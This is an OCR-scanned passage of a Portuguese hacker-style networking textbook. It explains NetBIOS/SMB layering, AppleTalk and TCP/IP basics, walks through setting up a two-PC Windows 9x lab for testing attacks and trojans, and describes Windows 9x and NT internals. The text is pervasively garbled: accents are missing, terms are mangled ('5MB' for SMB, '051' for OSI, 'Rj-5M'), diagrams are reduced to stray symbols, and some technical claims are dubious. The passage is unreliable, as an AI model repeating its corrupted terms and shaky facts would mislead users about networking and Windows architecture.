Camadas
Incrivelmente, as solues baseadas em NetBIOS possuem, hoje em dia,
implementaes para TODAS as camadas do modelo de referncia 051, com
exceo da camada de rede. O que no chega a ser problema, pois fcil "en-
costar" o NetBIOS em uma rede IP ou IPX existente. Como se no bastasse,
possvel implementar uma rede Microsoft suprimindo qualquer um dos proto-
colos de camadas intermedirias, ou mesmo todos. Observe:
5MB/CIFS
I ~
NetBEUl/NetBIOS
RFC 1001 RFC 1002
NetBIOSITCP/IP
NetBIOS/SPx/IPX
TCP/IP
No primeiro caso, temos a implementao original , ou seja, 5MB (Camadas 7
e 6) sobre NetBlOS/NetBEUI (5/4) sobre Ethernet (2). Essa era a soluo no
rotevel, pois no h protocolo de camada de redes na cadeia.
No segundo caso, temos 5MB (7/6) sobre NelBIOS (5), TCP!1P (4/3) ou sobre
SPX/lPX (4/3) sobre Ethernet (2). Nessa implementao, temos o conjunto com-
pleto de camadas 051 implementadas por algum protocolo. Se por um I:tdo
isso agrada aos redatores de normas, por outro cria uma pilha de protocolos
muito pesada e cheia de furos de segurana. Se for usar a Internet, melhor
no ir por esse caminho.
O terceiro o mais radical. Todos os antigos protocolos NetBlOS foram sim-
plesmente desprezados, uma vez que a Microsoft ~ d e u um jeito" de fazer o
5MB funcionar diretamente sobre TCP!1P Se por um lado h ganho de desem-
penho e segurana, perde-se a APl facilitada para escrever programas para
rede. Podemos, ento, estratificar esses protocolos (incluindo os externos de
camadas 4, 3 e 2) da seguinte maneira:
5MB/CIFS 17 e 61
NetBIOS/NetBEUI/NMBls e 41
TCP/IPou IPX/SPX 14 e 31
Ethernet (2 e 11
Apesar de sua idade e suas falhas, protocolos baseados em 5MB/CIFS so
muito populares ainda hoje pela facilidade com que os usurios podem compar-
tilhar recursos de seus computadores. Em redes bem administradas isso pode
aumentar a produo. Em redes mal adminislradas, pode aumentar a confuso .. .
Em ambos os casos, a implementao de redes mais utilizada da face da TerrJ..
Redes 1 I
Universidade 1 ano
Apple talk
O Appletalk, como o prprio nome sugere, o protocolo proprietrio utilizado
nas redes de computadores Apple. comJXlsto JXlr protocolos de tran5JXlne e en-
lrega, o ATP (AppleTaIk Tr:msJXln rotoool) e o DDP (Datagram Delivery Protocol),
equivalt:ntcs s camadas 4 e 3 do modelo de referencia. 051, resJX-'Ctivamente.
Aplicao
Sessao
Transporte
Entrega de Datagramas
Acesso rede
TCP/IP
Camadas
o modelo AppleTalk est dividido em
cinco camadas: aplicalo, sesso, trans-
porte, entrega e acesso rede. Muito se-
melhante com o padro OSL
o protocolo conhecido como TCP/lP (fransmission Control ProtocoV
Internet Protocol) , arualmente, o padro de fato. Foi concebido justamente
para trabalhar nas camadas 3 e 4 do modelo OSl e , portanto, ser completamen-
te rote:IVe!. Sua criao teve propsitos acadmicos e militares, pois foi utilizado
em diversas redes dc universidades e de defesa norte-americanas nas dcadas de
70 e 80. O protocolo alingiu a com a Internet e est implementado em
praticlunente todos os sistemas operacionais existentes.
Camadas
o TCP/IP est dividido em diversas camadas, como veremos a seguir:
de aplicao: Responsvel pela comunicao entre o protoco-
lo destinado ao transporte e os aplicativos em execuo, como o DN5,
Iln-p e SMTP, entre outros. Corresponde s camadas 051 7, 6 e 5 e
implementado nos prprios progmmas (camada 7) .
. Camada de Transporte: Cria a conexo virtual entre dois computadores,
exatamente como descrito do modelo 051.
Camada de Internet: Responsvel pela organizao e roteamento dos
pacotcs definindo seus endereos.
Camada de Interface com a Rede: , __________ _ --,
Aplicao
Responsivel pelo envio dos datagramas pro-
venientes da camada de Internet. No faz par-
te do protocolo TCP/IP, mas um comJXlnen-
te obrigatrio. Normalmente usado o pro-
tocolo Ethernet, embom o TCP/ IP seja com- Internet
pletameme independente e possa tr.egar em
Interface com a Rede
meios to dspares como fibras ticas/FDDI ,
links de rdio, X.2; ou Frame Re1lly. L _____________
155 I
I Redes 1
I Universidade H4CK3R I
56 1
Entendendo o TCP/IP
A fanlia de protocolosTCPIIP a base de Internet e da maioria das redes
de computadores espalhadas pelo globo. Pam entender como essas redes fun-
cionam, necessrio ter uma noo de como o protocolo TCP/JP gerencia o
envio e recebimento de dados entre dois ns.
Note que chamamos o conjunto de protocolos TCPIIP de famlia. H mais
deles do que apenas esses dois, que do nome famlia (e so, realmente, os
mais importantes). Alm deles, existe o UDP (User Datagram Protocol) e o
ICMP (Internet Control Mess.1.ge Protocol), entre outros. TCP e UDP so proto-
colos de camada 4, ou seja, propiciam mtodos para que os dados vindos da
camada 5 sejam transportados at o n destino. IP e ICMp, por outro lado, so
protocolos de camada 3, o que significa oferecer insumos para que a camada 4
possa fazer seu servio.
O TCP/lP e protocolos auxiliares esto definidos em lima srie de docu-
mentos mantidos pelo Interbet Engineering Task Force (IETF). Procure pelas
RFCs 791, 792 e 793 no si te oficial: www.ieticomlc. lJCml.
Embora vamos estudar o TCP/lP com detalhes no captulo complementar
a este, Redes n , alguns aspectos devem estar claros p:ara que possamos conti-
nuar a leilum deste livro.
o protocoLo IP
o gmnde agente tf""Jllsponador de nossos dados entre as diferentes redes
o protocolo IP. O protocolo define um pacote de dados, que contm campos
parecidos com os campos que vimos no quadro Ethernet e um:a rea para
tmnsponar os dados vindos da camada superior. Entre esses campos, temos os
endereos II> de destino e origem, flags de controle e verso - em suma, tudo o
que se espera de uma implememao real de um protocolo.
Um pacote IP parece-se com este:
Verso t
IHL
I
Tipo de Servio TamanhoTotal
Identificao "FLags" t Fragmentao
Tempo de Vida
I
Protocolo Nmero de Verificao
Endereo IP de origem
Endereo IP Destino
Opes (se houverem I t Enchimento
Dados
Redes 1 I
Universidade'o ano
Endereo IP
Um nmero de IP contm 4 bytes com tamanho especficos no formato:
000.000.000.000, em que cada byte pode incorporar um valor que vai de O at
255, como em 198.254.10.1. Outra infonnao pertinente a de que no deve
haver duas mquinas com o mesmo endereo IP em uma mesma rede, pois isso
causaria conflito nas mquinas e uma delas estaria impossibilitada de se
conectar rede.
Mscara de Rede
Possui o mesmo fonnato do endereo IP (000.000.000.000), mas afeta
apenas um segmento particular da rede. utilizada para dividir grandes redes
em redes menores, facilitando a administrao e reduzindo trfego exprio.
TCP/UDP
Dentro dos pacotes Ip, podemos transportar dois tipos de pacotes de
dados pertencentes camada 4. Um deles, o TCp, o meio utilizado pela maio-
ria dos servios para carregar informaes entre as duas extremidades da
conexo, e possui caractersticas de controle de fluxo e recebimento. O outro
o UDp' mais simples e sem qualquer tipo de controle, mas rpido e com
impaclO menor no desempenho da rede.
Portas
O pacote IP est relacionado rede, e portanto sabe apenas levar seus
dados de um lado a outro. J os pacotes TCP e UDP esto mais relacionados
aplicao ou servio que est enviando ou transmitindo os dados. Cada um
desses servios est relacionado a um nmero chamado porta. Por exemplo,
em um servidor qualquer, a porta TCP 80 oferece o servio HITp' enquanto a
porta UDP 53 pode oferecer um servidor de DNS.
DNS
O Domain Name Server traduz um nome de fcil memorizao em um
nmero de IR Por exemplo, vamos supor que o IP de um servidor na Internet
seja 200.167.208. 1, o DNS poder atribuir um nome a ele para que sua locali-
zao seja mais fcil , como www.siteprocurado.com.br.Ao colocar esse ende-
reo legvel no browser, esse vai entrar em contato com o servidor de DNS e
fazer a converso para nmero IP.
ARP
Similar ao DNS, mas faz a traduo do endereo IP em endereo MAC.
Quando o pacote II> chega rede destino, deve haver um mecanismo que diga
ao pacote para qual mquina ele deve se dirigir. Como o nmero IP est conti-
do no pacote, faz-se uma pergunta a todas as mquinas da tem meu
IP"? A interface configurada com aquele IP responde com o endereo MAC, e o
pacote enviado a ela.
1571
I Redes 1
I Universidade H4CK3R I
158 I
Laboratrio de Redes I
o laborAtrio de Redes I tem como objetivo auxiliar o leitor iniciante na
montagem de uma rede domstica. Mas qual a utilidade desse tipo de rede
para o futuro hacker ou administrador? A resposta bem simples: testar tcni-
cas de ataque e defesa em uma rede fechada. Isso pode englobar desde a insta-
lao de um firewaU caseiro at o teste com VLnlS e trojans.
Obviamente, so necessrios pelo menos dois computadores para que li
rede seja criada. Como a inteno montar uma rede para testes, voc pode
optar por computadores mais antigos e sem tantos recursos, como CD-ROM c
hardware de som. A seguir, vamos conferir os passos para a montagem da rede
desde a parte fsica at as configuraes necessri:ls.
Recursos necessrios
2 computadores;
2 pl:lcas de rede (pCI ou ISA);
Cabos de par tranado na configurAo CTOss-over;
Sistema operacional (nesse caso, estaremos trabaUlando com Wmdows 9x).
Instalao da parte fsica
Aps a escolh:l d:ls placas de rede, chega o momento de instal-Ias nos
computadores. Essa no uma tarefa difcil, basta apenas que voc tome cuida-
do para no danificar o equipamento. Aps a abertura do gabinete, devemos
procurar um slot livre para acomodar a placa de rede. Geralmente, eles ficam
situados na pane irerior direita da placa-me, como mostm a figurJ.:
Slot

::-:'::,:;:::::::::::::::::i::;;:::-: :::::::::: .)
:::::::::::::::::::::::::::::::::: ::::::::9
-;:-:;::::::;:::::;:::::;:::Im:::::::;;:::::)
:::::::::::::::::::::::::::::::::::::::::::: I
::::::::: ::::::::: :: ::::::::::::::;;:::::::: I
...............................................
. ............... ....... ........... .
.............. ............... ................. .
............................... ................. .
Redes 1 I
Universidade,o ano
Aps a fixao da placa, reinicie o computador. Provavelmente o sistema
operacional vai detectar a presena de um novo hardware e apresentar uma
janela com as opes para a instalao. Ople sempre por instalar os drivers
originais que acompanham a placa. O Windows vai concluir a instalao e
ento s repelir o processo no outro computador. Aps decidir onde as m-
quinas ficaro localizadas, chega a hora de colocar os cabos para concluir a
parte fsica da rede.
Como estamos tratando da conexo de apenas dois micros, usaremos o
cabo conhecido como cross-over. Os cabos de rede possuem pequenos fios que
devem estar dispostos em uma certa seqncia para que possa haver a troca de
dados, no caso do cross-ovcr, preciso inverter alguns desses fios. As lojas de
infonntica j vendem esses cabos prontos, mas, se voc quiser aprender como
mont-los, observe no quadro abaixo a seqncia correta de clipagem no cabo,
lembrando que o conector (ponta do cabo) deve ser Rj-5M:
Ponta A
1- Branco/Laranja
2- Laranja
3- Branco/Verde
4- Azul
5- Branco/Azul
6- Verde
7- Branco/Marrom
S- Marrom
Ponta B
1- Branco/Verde
2- Verde
3- Branco/Laranja
4- Azul
5- Br.lOco/ Azul
6- Laranja
7- Branco/Marrom
S- Marrom
Agora, basta apenas configurar os computadores para estabelecer uma
conexo de rede. Ateno! Nunca use um cabo cross-over em uma rede com
hubs. A risco de danificar O equipamento.
Configurando a rede
Com lodas as instalaes de hardware completas, chega a hora de configurar os
computadores. P-J.ra montagem da rede, vamos utilizar O protocolo TCP/lP visto
anteriomlente, pois esse mais flexvel e confivel. A configurao do endereo LP
fica a critrio de quem est montando a rede, isso porque o prprio Windows
pode designar um lP automaticamente parJ. C"J.da mquina se desejado. Aqui , ns
atribuiremos manualmente os JPs.
Windows 9.x
Em primeiro lugar, voc dever utilizar a faixa [ps que esto reservadas para as
redes domsticas. E..:;se nmero fica entre 192.168.0.1 e 192.168.255.254, alm
disso, o endereo de cada micro deve ser diferente para que no haja conflito
entre os dois. Tambm devemos conferir se o protocolo TCP/lP est instalado.
P'J.ra t.anto, abra o painel de controle e v em "Redes", se o protocolo n:io estiver
159 I
I Redes 1
I Universidade H4CK3R I
I I
listado na guia ento ser necessriO instal-lo. Aproveite tam-
bm para instalar o "Cliente para redes Microsoft" e o "Compartilhamento de
arquivos e impressoras para redes Microsoft ". Ento, clique no boto
"compartilhamento de arquivos e impressoras" e marque a opo "Desejo que
outros usurios tenham acesso aos meus arquivos".
Aps decidir o nlmero de IP, hora de prosseguir. Abra novamente o
cone de redes no painel de controle, escolha o protocolo TCP/IP e clique no
boto de propriedades. Uma nova janela ser aberta, ento clique na guia
dereo IP" e marque a opo "Especificar um endereo IP" , preencha o campo
do IP com o nmero de sua preferncia e, no campo da sub-mscara de rede,
voc deve colocar o seguinte nmero: 255.255.255.0.
Agora ns devemos identificar o computador e o grupo de trabalho, panl
isso, clique na guia "Identificao" na janela de redes. Lembrando que o nome
dos computadores pode ser diferente, mas a grupo de trabalho deve ser o
mesmo. O computador ser reinicializado, mas desta vez, ele pedir uma senha
e um login para a rede.
Pronto, se os dois computadores estiverem conectados e configunldos
corretamente, voc deve ter sua rede rodando sem problemas. Para comparti-
lhar lima pasta, basta apenas clicar com o boto direito do mouse na pasta
desejada e acessar as opes de companilhamemo.
Redes 1 I
taforma
ndows
Captulo
"Aujourd'llUi rOI: demain rien -: I
IDitado popular francsl
/ I/ojt' ri'!. "'''''/llu} IUU/u.
I Universidade H4CK3R I
41
Costuma-se dizer que mais de 90% dos computadores destinados ao usurio
final - seja em empresas ou em casa - possuem algum sistema Microsoft
Windows instalado. Esses nmeros podem at ser questionados, mas inegvel
que a empresa fez um bom trabalho de usabilidade (e de marketing!) para
fazer o usurio e o desenvolvedor de software acreditarem que o Windows a
nica opo de sistema operacional para leigos.
Hoje a realidade at um pouco pior que isso. As pessoas compram seus
computadores em supermercados com Windows instalado de fbrica e acredi-
tam que o programa parte intrnseca da mquina. Elas no acham que preci-
sem de opes. Assim como compra-se um automvel j com o volante, com-
pra-se computadores j com o sistema da gigante de Redmond.
As "famlias" Windows
H duas correntes de desenvolvimento do Microsoft Windows, formando qua-
se que duas plataformas completamente diferentes internamente, embora con-
servando a mesma aparncia externa.
Famlia Win9x
Composta pelos sistemas Windows 95, Windows 98 e Windows Me, essa
famlia cardcteriza-se por possuir um kernel em parte baseado no antigo MS-
DOS e, portanto, compatibilidade com programas antigos. Tambm por isso
possuem algumas limitaes.
A famlia Win9x uma verso quase totalmente reescrita do Wmdows 3, que
no era exatamente um sistema operacional . O Wmdows 3 era considerado por
alguns apenas como uma interface grfica que rodava em cima do MS-DOS. Os
autores concordam com essa afirmao apenas em parte. O Wmdows 3 acres-
centava caractersticas h muito desejadas pelos usurios e j presente h aJ-
guns anos em sistemas Macintosh, como o processamento multitarefa e um
melhor gerenciamento de memria. E o usurio podia interdgir com o sistema
utilizando um dispositivo apontador, o mouse. Isso desobrigava-o a decorar de-
zenas de comandos para chamar seus programas e gercnciar seus arquivos. Com
efeito, podemos dizer que o conjunto MS-DOS + Windows 3 deveria ser consi-
derado um sistema operacion:iI completo.
O Windows 95 era um passo frente. As APls (Application Programming
Interfaces - uma espcie de do sistema operacional em que voc
encaixa o seu programa) foram completamente remodeladas. Mas o kernel do
sistema era um contendo vrios elementos novos costurados em
uma verso atualizada do velho MS-DOS, embora totalmente escondido. As ver-
ses subseqentes (Windows 98, Windows 98 SE e Windows Me) ainda carre-
gam verses (sempre atualizadas, verdade) desse kemel. Como o MS-DOS era
monotarefa, transform-lo em um sistema multitarefa como o Windows reque-
reu diversos work-arounds e programas externos rodando na rea do usurio e
PLataforma Windows I
Universidade 1ano
executando tarefas que seriam do kernel. O gerenciamento de memria um
exemplo. Talvez isso explique a conhecida instabilidade desses sistemas, espe-
cialmente os erros do tipo GPE A adoo do MS-DOS como ponto de partida
para o desenvolvimento das novas verses do Windows teve, entretanto, a van-
tagem de oferecer compatibilidade a software e hardware antigos.
Famlia WinNT
composta pelos sistemas operacionais Windows NT, Windows 2000 e
Windows XP2. Sua primeirJ. verso, o Windows NT, foi desenvolvida parJ. ser o
sistema operacional de redes da Microsoft. Utilizando tecnologia de rede do
LAN Manager com a interface grfica do Windows 3.1 e um novo projeto de
kernel, o Windows NT pretendia brigar num mercado dominado por mquinas
Unix e Novell. Mesmo com desempenho, escalabilidade e confiabUidade, na
poca, menores do que os de seus adversrios, a Microsoft conseguiu, em pou-
cos anos, alavAncar o Windows NT como a plataforma de redes mais vivel e
utilizada. Fez isso baseada em trs princpios:
Preo baixo: uma licena do Windows NT custava muitssimo menos que
licenas do Novell Netware ou de qualquer sabor de Unix. E rodava em servido-
res baseados em processadores Intel, hardware mais barato que as carssimas
RISC dos Unices.
Facilidade: de configurao e operao: enquanto os servidores Unix e
Novell possuam interfaces com o usurio baseadas em caractere, o Windows
NT disponibilizava parA os administradores de sistema uma interface grfica
semelhante dos micros desktop.
Marketing: a mquina de divulgao da empresa, localizada em Redmond,
no estado de Washington, EUA, mundialmente conhecida. Eles foram muito
felizes ao promover o novo sistema operacional de redes da Microsoft, eviden-
ciando ao mximo na mdia os dois princpios anteriores.
Os sistemas operacionais para servidores de rede da Microsoft, impulsiona-
dos pelos trs princpios citados e auxiliados pela inrcia dos concorrentes,
levaram o Windows NT ao primeiro lugar em servidores administrativos du-
rante a dcada de 90. Mas a Microsoft percebeu que havia um mercado tam-
bm para 50s que rodassem nos computadores das pessoas, em casa ou no
escritrio. Essas pessoas necessitavam da estabilidade e confiabilidade que o
kernel do Windows NT proporcionava.
A famlia Windows NT logo ganhou verses para ser usada nas mquinas-
cliente (ou seja, em casa ou no escritrio). Era chamado de Windows NT
Workstation, e possua uma estabilidade muito superior de qualquer mem-
2 de il Microsoft divu/gilr que o Windows 2000 um SiSfCm:l totil/mente reescrito. ilpenils
ba.'>C::ldo no Windows N1; S/be-se por fomes niiu que ele aindil possui muita coiS/ inrocilda du
NT origiml/. O \Vtndows por outro lado, possui pilrfeS do Windows 20Q0 e do Windows Me, p:lr:J
g<lr;lntir compatibilidade com os programas ilnrigos do usurio. O que qUt"T dizer que ainda Mi
tecnologias do NT. do Wtn9x e mesmo do velho MS-DOS nele.
165 I
Plataforma Windows
I Universidade H4CK3R I
61
bro da famlia Win9x at hoje. Era, basicamente, o kerneJ do NT Server sem os
servios de servidor e com algumas modificaes para adapt-lo aos computa-
dores de mesa. Alguns usurios, cansados de ter de reiniciar a mquina e per-
der dados a cada GPF, migraram para o Windows NT Workstation
3
.
Mas nem tudo eram flores. O kerneJ do Windows NT era muito diferente do
kernel da famlia Win9x. Quebrar a compatibilidade entre sistemas operacionais
significava quebrar a compatibilidade com software e hardware antigos. Mui-
tos deles simplesmente no funcionariam no Windows NT. O usurio deveria
escolher, ento, entre estabilidade e compatibilidade.
A ltima encarnao do Windows, batizada de Xp' pretende acabar com esse
problema. Utilizando tcnicas de convergncia entre as tecnologias das famli-
as Win9x e NT, a Microsoft conseguiu criar uma verso de seu produto mais
famoso que, segundo ela, alia a estabilidade do Windows 2000 e a compatibilida-
de do Windows Me. A verso Server do Windows Xp' chamada de Windows
2003 Server4, deve estar no mercado em meados deste ano.
Nos bastidores ...
Qualquer um que tenha o objetivo de se tornar um "hacker" (qualquer que
seja o sentido que voc empregue palavra) deve conhecer profundamente o
funcionamento de pelo menos um sistema operdcional. Apesar de os sistemas
Unix serem uma boa escola, por sua modularizao extremamente didtica,
entender o que se passa "nas coxias" dos sistemas da Microsoft ajuda a enten-
der como um sistema pode evoluir, e possveis maneiras de contornar proble-
mas inerentes compatibilidade com tecnologias antigas.
Devido natureza proprietria e fechada dos produtos Microsoft, nem todas
as informaes sobre os sistemas so divulgadas. Este captulo tomou como
ponto de partida o kJJowJedge bt/se autorizado pela empresa. No entraremos
em muitos detalhes a respeito do kemel do sistema.
Estrutura
De uma forma gerdl, ambas as fdmlias do sistema operacional Windows em-
pregam o conceilO de microkernel: apenas os servios mais bsicos so
implementados. Todos os outros so executados por programas externos, que
rodam em user mode, ou seja, como programas comuns. Grosso modo, isso
significa que o usurio pode perigosamente ter acesso a partes do kemel.
3 Alguns usuirios reO(;lr.lm uutros siSU'mas, como o OS/2 de ser morto pc/.l mM), o Macinrosll
(rlesf(: SubMiluindo no s o .mffwafC, mas todo o computador) c, lIlais rcccllfcmellfc, opes
como o &-oS. o 1;rccflSD c o Linux. Com cxcclo do OS/2 e do &OS (recentemente descontinuilClo), i!
maioria pCSSOilS quc migrou paril outrilS plataformas no retornou ;10 Windows. Simom;'iri(.:o'
.[ & '1/ versio oficialmeme quatro nomes c tantos cxtr.H)fjciais. Cllegou a ser
chi/mada de Windows .N1!1' &n-cr I/Uma referlcia :Is fiavas recnologias ruseadas em XML di! empre
S3, m:lS ao quc parece i! Microsoft desistiu di! aMod;u,:o no nome. assim, o prodU/o est
chami!do riO sire da cmprcs:J c ' o il1:/utinador tecnologias .NET" ( "tlIC gluc to ali .NET
Plataforma Windows I
Universidade'o ano
,
,
,
,
Memory Serve r Network Server

File Server Oisplay Server
1
Hardware
,
,
Use r Mode
Kernel Mode
Internamente, as duas f.tmlias de produtos Windows so muito diferentes,
embora exista uma camada de compatibilidade para que ambas as plataformas
possam compartilhar os mesmos drivers de equipamentos e perifricos, os
famigerados Oevice Drivers. A famlia NT possui ainda camadas de compatibi-
lidade de software que permite ao sistema operacional executar com sucesso
programas desenvolvidos para a famlia Win9x e mesmo para padres aliengenas
como Unix/POSIX,Windows 16 bits e OS/2 da IBM.
.. Famlia Wrn9x
A " II
Programas
I
cessorlos
I
Shell de 32-bits
Registro
I
Ncleo do Windows 98 ("core")
I
El
Gerenciador de
sistemas de Gerenciador de Gerenciador de
arquivos Configurao Drivers WDM
instalveis (IFS)
oeviee Drivers
167 1
Plataforma Windows
I Universidade H4CK3R I
Observe atentamente o diagrama. A estrutura imerna do Windows 9x apa-
rentemente modular. H uma diviso clara entre o ncleo (normalmente cha-
mado de core) e as outras partes do sistema. Tal diviso, embora visvel no
papel, extremamente tnue na prtica. Vrios processos criticos do sistema
rodam na mesma rea de memria e disputam os mesmos recursos de
processamento que os programas do usurio. Apesar de simplificar o desen-
volvimento do 50 e permitir compatibilidade com hardware e software lega-
dos, no h como escapar das instabilidades que essa estrutura acarreta.
Os programas do usurio (planilha, editor de textos, navegador, etc.) no acessam
o ncleo diretamente. Cada programa de 32 bits roda em uma mquina virtual
separada, e tem a impresso de possuir um hardware e um ncleo do sistema
operacional exclusivos. Programas antigos para o M5-D05 tambm rodam em
mquinas virtuais separadas, mesmo porque eles tendem a capnll'"'M todos os re-
cursos da mquina para si e, no fossem as mquina virtuais, seria impossvel rod
los no Wmdows.) os programas de 16 bits do Windows 3, devido sua nanlreza
multitarefa colaborativa, rodam todos numa mesma mquina virtual de 16 bits.
H um shell para interfucear as mensagens entre cada mquina virtual dos progra-
mas e o nck'o real do sistema. Fsse shell tambm se encarrega de fornecer os widgets
(botes, barras de rolagem, indicadores de progresso, decorao das janelas) para as
aplicaes e de mostr"M as janelas j montadas para O ~ u r i o de fornla que ele possa
interagir com o sistema. Fsse shell tambm fornece alguns dos utilitrios e ferramentas
do sistema, como o Wmdows Explorer, o Painel de O:mtrole e o Ambiente de Rede.
Ncleo do Windows 98 ("coreMO
Gerenciador de
sistemas de
arquivos
instalveis (lFSfl
Gerenclador de
Confi gurao
Device Drivers
Registro
,'==;
Gerenciador de
Drivers WDM
O corao da famlia Win9x o core system. Composto por trs componen
tes: o kernel , respons.'vel pelo controle de processos, de El5 e do hardware; o
lIser, que controla os elementos manipulveis pelo usurio (janelas, eventos
dispar.tdos pelo usurio, cones, menus) e multimdia; e o GDI ou Graphics
Oevice Interface, que interage com o hardware de vdeo. O subsistema de im-
presso tambm est situado no GOI.
1681
Plataforma Windows I
Universidade,o ano
Acessrios
Programas
Shell de 32-bits
Registro
Nucleo do Windows 98I
M
core")
Gt n
VMM
si temas de de Gerenciador de
Drivers WDM arqUIvos Conflguraio
Nucleo do Windows 98 !"core")
instalveis (lFS I
User
Device Drivers
GOI
K.rnel
A famlia Win9x tem o compromisso de ser compatvel com aplicativos
amigos de 16 bits do Windows 3.11 e mesmo do MS-DOS. Portamo, os com-
ponentes kernel , user e GDI do ncleo so, na verdade, duplas de arquivos.
Os componentes correspondentes do ancio Windows 3.11 ainda esto pre-
sentes e os aplicativos amigos os acessam. Esse um dos maiores calcanha-
res-de-aquiles da famlia Win9x: os progrJ.mas de 16 bits no trabalh;am em
modo protegido, nem acess;am um core que trab;alhe nesse modo. O resulta-
do a destruio completa da preempo multit;aref;a do sistema e do
gerenciamento de memria.
Entre o ncleo c os drivers parJ. os dispositivos de hardware existe uma cama-
da tambm de imerf.lce, com rotinas que tornam o core do Windows indepen-
dente do hardware utilizado. Um dos componentes dess;a camada o VMM ou
Virtual Machine Manager. o VMM que cria e administra cada uma das mqui-
nas virtuais para todos os programas do usurio, C O prprio ncleo do sistema
tem sua prpria VM.
Acessrios
Programas
Shell de 32bits
Ncleo do Windows 98 rCOreM)
G&renciador de
sistemas de Ger.nciador de
arqul"'os ConfiguraAo
Registro
Gerenciador de
Ori ... ersWOM
instal .... is (lFS)
Paginador
da mamria Interdlce para

.. .JI
,mmodo
" .. ""
Plataforma Windows
I Universidade H4CK3R I
170 1
Outro componente dessa camada o IFS ou Installable File System. O siste-
ma no preparado para reconhecer um nmero finito de sistemas de arqui-
vos de manei,.! nativa. Em vez disso, o IFS permite que novos file systems sejam
fornecendo assim compatibilidade par.! virtualmente quaisquer li
pos deles - basta que algum escreva o mdulo correspondente.
Programas
Acessrios
Shell de 32-bits
Registro
Gerentiedor de Gerentiedor de
C, Drivers WDM
Device Drivers
Gerenclodor de sistema de arquIvos mstalvOls
FAT32 de 32 Bits
Sistema de
arquivos CD-ROM
de 32 Bits
RediretionadOf
de redes
Subslslema de EIS de Blocos
Gerenciador de EIS (lOSI
Driver de conedo
O Gerenciador de Configuraes,
por outro lado, o responsvel pela
auto mati zao da instalao de
' Plugins' para
sistema de arquivos
de terteiros
hardware Plug and Play e seus drivers. Acessrio, Pnlgreme,
O mdulo rege todo o processo de Shell de 32-bltS
instalao, configurao e desins- Ncleo do Window. 98 ("cor.'
t:i1ao, e mantm alUaLizada a base II Gerenclldor<le
de dados de hardware no Registro. .J. VMM -t sistemas de
""-
IIlStalYeis 11'51
De"ice Dri"efS ___ _
- ID
Ihr II
Plataforma Windows I
Universidade 1\ ano
Por fun, o \VDM (Win32 Driver Modcl) uma camada de traduo entre os
drivers de dispositivo e o ncleo. Ele o driver, fazendo-o pensar que
estil instalado no kcrnel de um Windows NT. Com isso, fornecedores de
hardware podem desenvolver drivers que funcionem em ambas as platafor-
mas indiferentemente.
A camada do sistema operacional mais prxima do hardware a de device
drivers. Estes so composlOs por dois lipos complementares de drivers , os
Universais e os Mini-drivers. Veja a ilustrao:
Aplicao Cliente
I
Universal driver I r=-

I Mini-driver II Mini-driver I I Mini-driver I
Universal driver
I Mini-driver I
I Oeviee 11 - I
r . Oevice II Oevice II Oevice
Os drivers Universais so grandes guarda-chuvas com especificacs genri-
cas para os dispositivos. Por exemplo, h um driver chamado Universal Modem
que contm infomlaes genricas compartilhadas pela maioria dos modens.
Isso facilita sobrel11:lI1eir.1 o desenvolvimento de drivers com as caractersticas
especficas. Tais caractersticas so implementadas em drivers auxiliares cha-
Ill:ldos de Mini-drivers. No nosso exemplo dos modens. um fabricante pode se
basear no driver Universal e escrever um Mini-driver apenas com as
especificaes que diferirem. Note :aind:a que muitos dispositivos de hardw:are
podem trabalhar somente com o driver universal.
O tipo de driver mais comum o Virtuatiz:ation Driver, ou VxD.AIguns dispo-
sitivos de hardware devem ser capazes de atender simultaneamente a solicita-
es de diversos programas. Esses dispositivos usam VxDs para criar vrias ins-
tncias de si mesmos. Cada mquina virtual do sistema pensa, ento, que o
hardware em qucsto exclusivo para si.
O ltinlO elemento , em companhia da Interface com o Usurio, o mais palp-
vel. O Registro um banco de dados que guarda as configuraes globais de todo
o sistema, bem como as de cada aplicativo. Qualqucr altemo comportamcntal
ou de funcionamento do sistema deve ser efetuada no RegisLro.
.. Famlia WinNT
A arquitetur::l da famlia WinNT difere mdicalmeme da famlia Win9x. Nela, h
lima sepamo explcita entre o modo de operao do kernd e o modo de
operao do usurio. Os programas do usurio rodam em um espao de mem.-
ria cxclusivo e possuem um tempo detcrnn;ldo de uso de CPU. Os processos
rodando no modo kcrnd esto, dessa forma, protegidos contra a ao predat.-
ria de programas
171 I
Plataforma Windows
I Universidade H4CK3R I
72 I
Sv
stem
Service User
Support
Processes applications
processes
j j
I
Subsystem DLls
I I
Executive
Kernel
II Device Drivers
Hardware Abstraction laver (HAll
Enviroment
subsvstems
I
Windowing
and graphics
Use r Mode
Kernel Mode
Ao contrrio de sistemas operacionais mais antigos, como o Unix original e
os sistemas de mainfrdmes, o kernel do Windows NT e descendentes no
monoltico. Em vez de carregar lOdos os tipos de device drivers possveis e
imaginveis dentro da c a c h o l a ,o Windows emprega o conceilO de microkernel:
um ncleo com apenas os servios mais crticos e essenciais que pode ser
complememado com programas auxiliares externos. A maioria desses progra-
mas externos roda em modo user, deixando o kernel mode apenas parJ os
servios de mais baixo nvel e alta prioridade. Tais servios esto divididos em
cinco grandes componentes. O primdro o GDI , que controla os dispositivos
de vdeo de forma St;melhante ao da famlia Win9x.
Os quatro outros componentes - Windows Executive, Kernel, Device Drivers
e HAL - so to intimamente Iig'ldos entre si que aparecem num mesmo quadro
em nosso diagrama. O Executive abriga diversos mdulos de interface emre o
kernel e os outros componentes, tanto para o usurio e programas quanto para
o hardware - poderia ser considerddo um "shell" do kernel. Os device drivers
trabalham de mandrd tambm muito semelhame aos da famlia Win9x, com
arquitelUra baseada em VxDs e WDM. Por ltimo, o Hardware Abstraction Layer
ou HAL, fornece uma camada de abstrdo para o kernel.
O princpio de funcionamento do llAL muito parecido com o do modelo
Universal/Mini.<friver. O HAL "engana" o ncleo do Windows, fazendo com que
ele acredite que o hardware seja sempre o mesmo. Se alguma coisa na arquite-
tU'd do PC mudar - por exemplo, um novo mtodo de acesso memria - ,
basta instalar um novo HAL No haver necessidade de reinstalar uma verso
mais nova do Windows, muito menos reescrev-lo todo novamente.
Os sistemas da famlia WinNT tambm se utilizam do conceito de Registro
para manter as configuraes do sistt;ma. A estrutura do registro , inclusive,
muilO parecida com a da famlia Win9x.
Plataforma Windows I
Universidade,o ano
.roaecu..nto
do Loqon
!

Geranciador
dI! EIS
Gerenciador
ApllcaU.o OS/2 Aplicati.o Mia32

Servios do Executive
AplicatJ.vo
POSIX/UNIX
..
Usar Moda
+- Kernel Moda
Observe as semelhanas e diferenas entre este diagrama e o da familia Wm9x.
Dentro do Executive, temos um mdulo VMM com funo idmica ao do Windows
